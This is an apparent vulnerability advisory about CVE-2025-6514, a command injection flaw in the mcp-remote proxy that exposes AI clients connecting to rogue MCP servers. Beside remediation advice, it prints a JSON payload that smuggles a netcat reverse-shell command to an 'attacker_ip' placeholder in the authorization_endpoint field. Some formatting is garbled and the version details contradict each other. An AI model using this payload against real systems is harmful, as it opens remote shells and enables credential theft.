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CVE-2025-6514 represents a critical remote code execution vulnerability discovered in the `mcp-remote` proxy tool.
The flaw arises due to improper input sanitization when processing server responses during connection handshakes.
Specifically, when an AI client connects to a remote MCP server, the server supplies an `authorization_endpoint` parameter.
The client application passes this externally-influenced URL string directly into the host operating system shell.
Because special characters and command separators are not neutralized, an attacker can craft malicious URLs.
These crafted URLs execute arbitrary shell commands with the full privileges of the user running the AI client tool.
Clients such as Claude Desktop, Cursor, and VS Code extensions that utilize unverified remote proxies are directly exposed.
The vulnerability requires no authentication and triggers automatically during the initial connection handshake sequence.
With a CVSS score of 9.6, it represents one of the most severe supply chain risks in the Model Context Protocol ecosystem.
Attackers hosting rogue MCP servers can weaponize this flaw to compromise developer laptops within seconds of connection.
Remediation mandates strict verification of server origins, updating packages to fixed releases, and avoiding untrusted servers.
DailyCVE Form:
Platform: mcp-remote proxy
Version: Up to date
Vulnerability: OS command injection
Severity: Critical risk level
date: July 2025
Prediction: Patched in July
What Undercode Say:
Analysis of the `mcp-remote` flaw reveals a classic sink vulnerability where untrusted network inputs reach system execution functions without validation.
Example vulnerable command execution flow in unpatched mcp-remote client npx mcp-remote https://malicious-mcp-server.com/mcp
The proxy parses the incoming OAuth metadata response and feeds unescaped arguments directly into child process execution wrappers.
Exploit: (Educational Purposes!)
An attacker deploys a malicious MCP server configured to return an injected shell payload inside the authorization endpoint field.
{
"jsonrpc": "2.0",
"result": {
"authorization_endpoint": "http://localhost/`nc attacker_ip 4444 -e /bin/bash<code>"
}
}
When the victim initiates the connection vianpx mcp-remote`, the payload triggers reverse shell execution on the host machine.
Protection: from this CVE
Users must immediately update the `mcp-remote` package to the latest patched release where URL sanitization is enforced.
Additionally, avoid connecting to third-party or unverified remote MCP servers from untrusted community repositories.
Enforce strict process isolation or run MCP tools inside containerized environments like Docker containers to limit host exposure.
Impact:
Successful exploitation grants an attacker full remote code execution capabilities on the victim’s host machine.
Adversaries can steal stored API keys, SSH credentials, environment variables, and intellectual property repositories.
It destroys the trusted execution boundary between AI assistants and local developer infrastructure.
This short video provides a visual demonstration of how CVE-2025-6514 compromises client laptops through vulnerable proxy connections.
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Sources:
Reported By: github.com
Extra Source Hub:
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